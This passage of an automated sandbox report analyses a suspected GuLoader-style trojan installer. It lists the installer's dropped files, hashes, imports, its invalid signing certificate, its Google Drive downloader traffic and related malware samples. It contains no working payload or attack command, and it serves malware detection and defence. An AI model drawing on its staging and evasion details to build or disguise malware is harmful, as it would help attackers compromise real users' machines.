http://www.gopher.ftp://ftp.	fbXZ4ErQMU.exe, 00000003.00000001.52635170494.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/f	fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057812723.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.64.193	drive.usercontent.google.com	United States		15169	GOOGLEUS	false
142.250.217.238	drive.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569258
Start date and time:	2024-12-05 16:58:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fbXZ4ErQMU.exe
Detection:	MAL
Classification:	mal68.troj.evad.winEXE@3/8@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 81% Number of executed functions: 48 Number of non-executed functions: 27
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: fbXZ4ErQMU.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Y5yNja2zy3.exe	Get hash	malicious	GuLoader	Browse	142.250.64.193 142.250.217.238
	DX7V71Ro7b.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.64.193 142.250.217.238
	upx_rufus.exe	Get hash	malicious	Unknown	Browse	142.250.64.193 142.250.217.238
	dIPYIbWXs1.exe	Get hash	malicious	GuLoader	Browse	142.250.64.193 142.250.217.238
	sNifdpWiY9.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	142.250.64.193 142.250.217.238
	payload_1.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	142.250.64.193 142.250.217.238
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	142.250.64.193 142.250.217.238
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	142.250.64.193 142.250.217.238
	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.64.193 142.250.217.238

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp\System.dll	dIPYIbWXs1.exe	Get hash	malicious	Unknown	Browse
	dIPYIbWXs1.exe	Get hash	malicious	GuLoader	Browse
	eAvqHiIsgR.exe	Get hash	malicious	GuLoader	Browse
	eAvqHiIsgR.exe	Get hash	malicious	GuLoader	Browse
	RFQ-24064562-SUPPLY-NOv-ORDER.com.exe	Get hash	malicious	Remcos, GuLoader	Browse
	LkzvfB4VFj.exe	Get hash	malicious	FormBook, GuLoader	Browse
	LkzvfB4VFj.exe	Get hash	malicious	GuLoader	Browse
	z120X20SO__UK__EKMELAMA.exe	Get hash	malicious	GuLoader, Remcos	Browse
	Quotation-GINC-19-00204.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\fbXZ4ErQMU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.854450882766351
Encrypted:	false
SSDEEP:	192:jPtkiQJr7V9r3HcU17S8g1w5xzWxy6j2V7i77blbTc4I:u7VpNo8gmOyRsVc4
MD5:	34442E1E0C2870341DF55E1B7B3CCCDC
SHA1:	99B2FA21AEAD4B6CCD8FF2F6D3D3453A51D9C70C
SHA-256:	269D232712C86983336BADB40B9E55E80052D8389ED095EBF9214964D43B6BB1
SHA-512:	4A8C57FB12997438B488B862F3FC9DC0F236E07BB47B2BCE6053DCB03AC7AD171842F02AC749F02DDA4719C681D186330524CD2953D33CB50854844E74B33D51
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: dIPYIbWXs1.exe, Detection: malicious, Browse Filename: dIPYIbWXs1.exe, Detection: malicious, Browse Filename: eAvqHiIsgR.exe, Detection: malicious, Browse Filename: eAvqHiIsgR.exe, Detection: malicious, Browse Filename: RFQ-24064562-SUPPLY-NOv-ORDER.com.exe, Detection: malicious, Browse Filename: LkzvfB4VFj.exe, Detection: malicious, Browse Filename: LkzvfB4VFj.exe, Detection: malicious, Browse Filename: z120X20SO__UK__EKMELAMA.exe, Detection: malicious, Browse Filename: Quotation-GINC-19-00204.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir.-.D.-.D.-.D...J..D.-.E.>.D......D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L.....`...........!..... ..........!).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...h....@.......(..............@....reloc..\|....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\tranchet\Inured.Sti

Download File

Process:	C:\Users\user\Desktop\fbXZ4ErQMU.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	455584
Entropy (8bit):	2.656352367412479
Encrypted:	false
SSDEEP:	3072:ONKMH32ik+9vLI8uCpKGo+JpkP5rGopqtbuUf5j60:Oh32ik+9vXHpK5+JpkBrG+6buUf5j60
MD5:	23117B3934A86E8695598259FB457193
SHA1:	A93A91497D007EC9FEB500D6022272BE025A0CEF
SHA-256:	7C0F10CFF86EA22DBF210D01EF43CB7C5BB6BF4ABAC18151D1D70FEC485FA8A4
SHA-512:	6D89701A2A6E1D2089EA7EDA900D0F708F18BF419B048B6C4CCB2598D01C593FF7249E44C4B9C96F499EDF8E860A6D7D177D51817D091B410FE68C107E13B044
Malicious:	false
Reputation:	low
Preview:	0000000036000000E60000009200004B4B4B006300808000009400D9D9D9008E000000F800BBBB00000000E10086000031310008080800000000ABAB00000000007000E60000E3E3003400000300242424004D000000560000F1F1F1F1F10000B2B200000000DC003F3F00494900BC004000000075757500002929000000DADA000600DFDFDFDF00001D000E000000DA0000BCBCBC001F1F008E8E000088001F00C3C30000F10000100000B500000000A7A7A7A7A70059008400000000CDCDCD00002C2C0032323200A40000002C0000000049000000000C0C0C002D006400EC00DDDDDD0000A100C00000000056008E00450000000000000100AC002D2D00000000780048000300C4C4C4C4C4004B0000B4B4B4B400CF000000CA009700000F0F00AC0000005B5B00000000D800870000005F5F5F0061008787878787878700008A0000000000000000000000D4000000CB0000FD001900F6F6F6F600000A00C5C500F6F6000000000000000707070700480000000000A6A600005D5D5D0000009C00BCBCBCBC00353500C6C60000000000007B7B009000AAAA0000C7C7C700000000FAFA00F1006868680023232300CA00007D7D7D000086000A00979797979797970000A70000220000009A0000810000787800005A000000000000200046464600000000E000000000000036000000D90000

C:\Users\user\tranchet\Poddle.Awa

Download File

Process:	C:\Users\user\Desktop\fbXZ4ErQMU.exe
File Type:	data
Category:	dropped
Size (bytes):	229378
Entropy (8bit):	7.492569922983724
Encrypted:	false
SSDEEP:	3072:Tq6BlW6gYV7fcXEjHoHv/0TQPEQjtZoL9VWToGyQV6U7HTehRHsWL83:TqslW6LV7UXSoPsbQjtkFGTeUl3
MD5:	BB8D669BD88B3093874F7BF94B0D5746
SHA1:	CAA0D57B29D39044BD4D003086D370F6666A8F5A
SHA-256:	E7911C7E36701424FB672BE8FDB7E13F66197E1B14841740A24821B98CB1D510
SHA-512:	E959EB6F2A45146DF2BFD26618A5A6567DCFE4B43643637B5429E5BED24112D340B42DD2CCC2A5BB2D95C6F862A7AF68079AD77E9B6672257B9EED39C8BD91F6
Malicious:	false
Reputation:	low
Preview:	.....666666.^^..............ee...........m....2.......aaaaaa.7...........M............................aaa._.\|\|..b...9....@.^.......'..tt.....S.............................l......ss.555555............S...............l....h..............RRRR....1.........X..pp.....V.K.........FFF..........................1..................>>....i.R...!!!.............I.QQ........................................eee....................................----...................................................'.....5.....5..#...ww........................n.......999.k.iiiii......,,.^^.JJJ...........].....ee.W.TT.....K................W.,................VVV.n............................................D.....................................j......\|...YY.XX............2.....www............ZZ.P...........\|\|\|\|\|.....................;.2..I..............P.FF.[............\.......................ee.........................???......................................A...........@@.....#.G..'.........................IIII....F.

C:\Users\user\tranchet\computerskrmen.dem

Download File

Process:	C:\Users\user\Desktop\fbXZ4ErQMU.exe
File Type:	data
Category:	dropped
Size (bytes):	485127
Entropy (8bit):	1.2565961974341746
Encrypted:	false
SSDEEP:	768:bgBMgq+aLnwfPnz/Km1iLGyDPiU55NCk+T93YpnK77oTpvYP3knePjlW0kwNGL+q:XQ3wvosOsCpxFJrXSBmHzTu58UR
MD5:	580D05E679E74B036B55CA8E5FF32769
SHA1:	10175C43AB7B725FFFCF770EB2C3555E91D3BA13
SHA-256:	B3E34975017C193D4672BEC42BC52B55F8AE1F1D5F30D56DCFD0B3A4242C3BE4
SHA-512:	0E26F0084BED372785A5E8C8BE3A0717074AA52C2E8B5413FA9F2CB8DEED40BF8BDBF15C411EFFA432A8B96E50AE6085E8F90A97350827AFAA1BE1AB4B3E1643
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.................3.........................................=.....................................`.............................................................................n........................... .L.........................(,.b...e.......\...............................u.....................[.............................n........................[........................................c...........................W.............................................................].h.............R..........................................................................^.....$.....w...................................................p...............................................................$.t...................................w*....................b....E.......................\|.............5.......E................................................P.........d..................vl...........}..."..................................1.............................k.....7...............

C:\Users\user\tranchet\predictors.dut

Download File

Process:	C:\Users\user\Desktop\fbXZ4ErQMU.exe
File Type:	data
Category:	dropped
Size (bytes):	389868
Entropy (8bit):	1.2469892412772452
Encrypted:	false
SSDEEP:	768:8mGX5iY6YFC1hSNYG8n6aCKBHwcX7e3ZNrt7qNIxKpGEopKfWOO72cDEDQ+7IF5i:m5ittaAwW6q8KH13QyOgs2w
MD5:	2A500E1219C4894E2D45C32C5A5A11FD
SHA1:	AC9A88DE4C84E1EB8A535E1061CBC6584380D24E
SHA-256:	C65F223375C6DFE8CE71213D5DD24F39CDE31F772D2C66521BF07B21BE45E6C1
SHA-512:	89ED91AF91CF969FE7EC087EE107B52959582615EFB2AB72A21D6C3820E5BDDA78EE02EB39BB323FD996D85510627387616DF8917B12052A62D288D8E9448596
Malicious:	false
Preview:	...........................E.....................................................................<......................].....f........................_...G..........S....................................@...............j...................................................I...................\|..C..........................................................d......%t..........N..................d...Q...........p....3..........................................L...........y...............................-........................................................................@.........]..3........A................................*............................................................................................@...........(............................{..4......................................k.................{.....................W.................,......+...............K....b.......................!.............................H..)..........................E..........................

C:\Users\user\tranchet\receptionssekretrer.bin

Download File

Process:	C:\Users\user\Desktop\fbXZ4ErQMU.exe
File Type:	data
Category:	dropped
Size (bytes):	442363
Entropy (8bit):	1.2533707838755617
Encrypted:	false
SSDEEP:	1536:f6KFImN7hPg1fMcZ9pkK6m1rmkrDAji7VW9EgfrY:PyMtabPE+7ctfM
MD5:	5465B75724C031B21C018F7D72941F72
SHA1:	98176B27A41A35401A96D0AAC0859EEC25A4C5FE
SHA-256:	7390780C6FB1F7B57C950A11AE287127CB6144CE9AD1C26E8C242BADB685729B
SHA-512:	7084191B13FF854943DEE9FB6DDC1D7F89D06055FF4DA7E04DA1C359B557AC22762209B8DFE061F3AF628DF077E1D1D1009E9F9A18E3C9441AEE7FD4FDFF1688
Malicious:	false
Preview:	.........................................................................\|......................................v..g..................................................................C...........`.......................................... ...............#.....................K..0.................\................................4.......................................y...................."........k..............9.H.................................................................."...........m............................6...................................................E..)..........[..............TZ..............Q............_...........$...... ..........................W....................................................y..................................q......!.................................... .....................o..........*........................................................................[..............9..................s....;..........................................

C:\Users\user\tranchet\serenissimi.txt

Download File

Process:	C:\Users\user\Desktop\fbXZ4ErQMU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	521
Entropy (8bit):	4.284169749449499
Encrypted:	false
SSDEEP:	12:7+SriF8i+WUQDJBYqRIE47W0BvM71ARi9ulhji4JDQCr6K:7tuZ+d6/GEUI18jhJsCr6K
MD5:	B089BD0CBC944DE0B1023E6CE9318BD3
SHA1:	715FA74E243D5C3419519E7371ED1836C9BCFA4A
SHA-256:	1E8ABB4A5E85595B0EF2FC73E9012EDDFE1BCB7363E90A2EA46F561DD3742F93
SHA-512:	A164EB2AB02E612E9F96531006C4A71B8D6E8EA6444D86907CB15EF2C1AAB4680EAF3BB580C6A1D5B89A3F454F3E532242FC1DE2B71A9FFF56F812F6E4638885
Malicious:	false
Preview:	dibasic skinnebenssaarenes rembrandt unembayed timerne ependytes overtorturing.ruskindenes cellemembranen visirs daarligste bartholomeuss eslabon trflen communizations karikaturtegners forsgsstadiet hillocked..perfumers afplukker simonized jubilumsmiddags dolktids spokane milliontedel indfoertes dour..margented pomerans semicylindrical skifferolies kernerelationerne univalent,tiltrdelsesforelsning hydrion caggy stabejserne figurist vt klutzier bendy hanekamme..duilin molompi cuartino fornagl tortricoidea unhurrying.

C:\Windows\Arder.lnk

Download File

Process:	C:\Users\user\Desktop\fbXZ4ErQMU.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	734
Entropy (8bit):	3.2819121006350698
Encrypted:	false
SSDEEP:	12:8wl01sXUCTGlnEEqEu3w/g/rNJkKAh4t2YCBTo8:82svqo/45HALJT
MD5:	77093B00B23F98CBA6C0D1C948350193
SHA1:	D8DB917CC95435D80B446AA38B623377B39D9E18
SHA-256:	ABEC3A36956C827AE67D077F005B6CEAA616B58A4BE7202DEAC7058936AE8042
SHA-512:	FB8659401E24C2445B4718338E6FDEBD55A0CD2A783EAB278845582E959A2CB03E06C1D30E8144998819A8DA71129B4E58D1395122E4988E08EC71F6CF6B9D92
Malicious:	false
Preview:	L..................F........................................................?....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................A.r.t.h.u.r.....l.2...........Disannex.And37..N............................................D.i.s.a.n.n.e.x...A.n.d.3.7.............\.U.s.e.r.s.\.A.r.t.h.u.r.\.D.i.s.a.n.n.e.x...A.n.d.3.7.$.C.:.\.U.s.e.r.s.\.A.r.t.h.u.r.\.t.r.a.n.c.h.e.t.\.T.r.y.k.m.a.a.l.e.r.e.........(.................l^".`G...3..qs................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.4.2.5.3.1.6.5.6.7.-.2.9.6.9.5.8.8.3.8.2.-.3.7.7.8.2.2.2.4.1.4.-.1.0.0.1.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.5537524720559555
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	fbXZ4ErQMU.exe
File size:	901'168 bytes
MD5:	c58b26e27e2d9aa8080e289445e1c8ca
SHA1:	50dc9a8d9735a94a18cf3b35cb3c88217b3d05cd
SHA256:	9201c98d765025cad9fcbe9095c1f34960b641d38c6a4e999720a0c3c129353f
SHA512:	e5fae7426e750146275dc91004378503555d068bcf60446d9b4ed1a082a95889fb1cfdf05f857a1d454681763bf24454f27410cd8086faed75edc2fa157a301c
SSDEEP:	24576:yiGFaq43NvCl4+wlZdujTrlsJAvOnMJ/QOea:yiGFu3NvIwSdsJUCMJ/qa
TLSH:	4B151262F600D9AAD4318F718DAFD196EAD17E2528650B8B7F9D7B2FACB1050C10F225
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1)..PG..PG..PG._...PG..PF.IPG._...PG..sw..PG..VA..PG.Rich.PG.........PE..L... ..`.................f...\|......H3............@

File Icon


Icon Hash:	0e13672535353f1c

Static PE Info

General

Entrypoint:	0x403348
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x60FC9220 [Sat Jul 24 22:20:16 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	ced282d9b261d1462772017fe2f6972b

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Genfundet Klimaeksperter trichloromethyl ", E=frsteviolinerne@Spayad.Nat, L=Puls, S=Schleswig-Holstein, C=DE
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	03/03/2024 03:35:28 03/03/2027 03:35:28
Subject Chain	CN="Genfundet Klimaeksperter trichloromethyl ", E=frsteviolinerne@Spayad.Nat, L=Puls, S=Schleswig-Holstein, C=DE
Version:	3
Thumbprint MD5:	7F4300F89CB33F3547D88A3CF12D3064
Thumbprint SHA-1:	6744129A179DDD70100E4EF2E477E7017324962E
Thumbprint SHA-256:	F5A72CA616B49A6ACBAA0063F9BC40694B0F283A502262C92A5E0E69F2EE0F0F
Serial:	2CC20419A347B6321BC816E32297152DFB393513

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 0040A198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004080B8h]
call dword ptr [004080BCh]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042F42Ch], eax
je 00007F0D889D8723h
push ebx
call 00007F0D889DB886h
cmp eax, ebx
je 00007F0D889D8719h
push 00000C00h
call eax
mov esi, 004082A0h
push esi
call 00007F0D889DB802h
push esi
call dword ptr [004080CCh]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F0D889D86FDh
push 0000000Bh
call 00007F0D889DB85Ah
push 00000009h
call 00007F0D889DB853h
push 00000007h
mov dword ptr [0042F424h], eax
call 00007F0D889DB847h
cmp eax, ebx
je 00007F0D889D8721h
push 0000001Eh
call eax
test eax, eax
je 00007F0D889D8719h
or byte ptr [0042F42Fh], 00000040h
push ebp
call dword ptr [00408038h]
push ebx
call dword ptr [00408288h]
mov dword ptr [0042F4F8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 00429850h
call dword ptr [0040816Ch]
push 0040A188h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8544	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x58000	0x41dd0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xdac50	0x13e0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x29c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6457	0x6600	f6e38befa56abea7a550141c731da779	False	0.6682368259803921	data	6.434985703212657	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1380	0x1400	569269e9338b2e8ce268ead1326e2b0b	False	0.4625	data	5.2610038973135005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x25538	0x600	17edd496e40111b5a48947c480fda13c	False	0.4635416666666667	data	4.133728555004788	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x30000	0x28000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x58000	0x41dd0	0x41e00	51f103b856396aac282c5bd5a24beff1	False	0.6063619248102466	data	5.8960782160116745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x583b8	0x130ca	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.998410786148207
RT_ICON	0x6b488	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.40775464332189754
RT_ICON	0x7bcb0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.4554866512507883
RT_ICON	0x85158	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	English	United States	0.462218045112782
RT_ICON	0x8b940	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.4729667282809612
RT_ICON	0x90dc8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.46835144071799717
RT_ICON	0x94ff0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5149377593360995
RT_ICON	0x97598	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5457317073170732
RT_ICON	0x98640	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6073770491803279
RT_ICON	0x98fc8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6719858156028369
RT_DIALOG	0x99430	0x100	data	English	United States	0.5234375
RT_DIALOG	0x99530	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x99650	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x99718	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x99778	0x92	Targa image data - Map 32 x 12490 x 1 +1	English	United States	0.7191780821917808
RT_VERSION	0x99810	0x27c	data	English	United States	0.5
RT_MANIFEST	0x99a90	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExA, RegEnumKeyA, RegQueryValueExA, RegSetValueExA, RegCloseKey, RegDeleteValueA, RegDeleteKeyA, AdjustTokenPrivileges, LookupPrivilegeValueA, OpenProcessToken, SetFileSecurityA, RegOpenKeyExA, RegEnumValueA
SHELL32.dll	SHGetFileInfoA, SHFileOperationA, SHGetPathFromIDListA, ShellExecuteExA, SHGetSpecialFolderLocation, SHBrowseForFolderA
ole32.dll	IIDFromString, OleInitialize, OleUninitialize, CoCreateInstance, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	SetClipboardData, CharPrevA, CallWindowProcA, PeekMessageA, DispatchMessageA, MessageBoxIndirectA, GetDlgItemTextA, SetDlgItemTextA, GetSystemMetrics, CreatePopupMenu, AppendMenuA, TrackPopupMenu, FillRect, EmptyClipboard, LoadCursorA, GetMessagePos, CheckDlgButton, GetSysColor, SetCursor, GetWindowLongA, SetClassLongA, SetWindowPos, IsWindowEnabled, GetWindowRect, GetSystemMenu, EnableMenuItem, RegisterClassA, ScreenToClient, EndDialog, GetClassInfoA, SystemParametersInfoA, CreateWindowExA, ExitWindowsEx, DialogBoxParamA, CharNextA, SetTimer, DestroyWindow, CreateDialogParamA, SetForegroundWindow, SetWindowTextA, PostQuitMessage, SendMessageTimeoutA, ShowWindow, wsprintfA, GetDlgItem, FindWindowExA, IsWindow, GetDC, SetWindowLongA, LoadImageA, InvalidateRect, ReleaseDC, EnableWindow, BeginPaint, SendMessageA, DefWindowProcA, DrawTextA, GetClientRect, EndPaint, IsWindowVisible, CloseClipboard, OpenClipboard
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectA, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetProcAddress, GetSystemDirectoryA, WideCharToMultiByte, MoveFileExA, ReadFile, GetTempFileNameA, WriteFile, RemoveDirectoryA, CreateProcessA, CreateFileA, GetLastError, CreateThread, CreateDirectoryA, GlobalUnlock, GetDiskFreeSpaceA, GlobalLock, SetErrorMode, GetVersion, lstrcpynA, GetCommandLineA, GetTempPathA, lstrlenA, SetEnvironmentVariableA, ExitProcess, GetWindowsDirectoryA, GetCurrentProcess, GetModuleFileNameA, CopyFileA, GetTickCount, Sleep, GetFileSize, GetFileAttributesA, SetCurrentDirectoryA, SetFileAttributesA, GetFullPathNameA, GetShortPathNameA, MoveFileA, CompareFileTime, SetFileTime, SearchPathA, lstrcmpiA, lstrcmpA, CloseHandle, GlobalFree, GlobalAlloc, ExpandEnvironmentStringsA, LoadLibraryExA, FreeLibrary, lstrcpyA, lstrcatA, FindClose, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, SetFilePointer, GetModuleHandleA, FindNextFileA, FindFirstFileA, DeleteFileA, MulDiv

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-05T17:03:01.276027+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49751	142.250.217.238	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 17:03:00.720978975 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:00.721029997 CET	443	49751	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:00.721282005 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:00.736093044 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:00.736114025 CET	443	49751	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:01.007589102 CET	443	49751	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:01.007814884 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:01.009015083 CET	443	49751	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:01.009268999 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:01.054383993 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:01.054421902 CET	443	49751	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:01.054811001 CET	443	49751	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:01.055052042 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:01.057214975 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:01.098316908 CET	443	49751	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:01.276015043 CET	443	49751	142.250.217.238	192.168.11.20
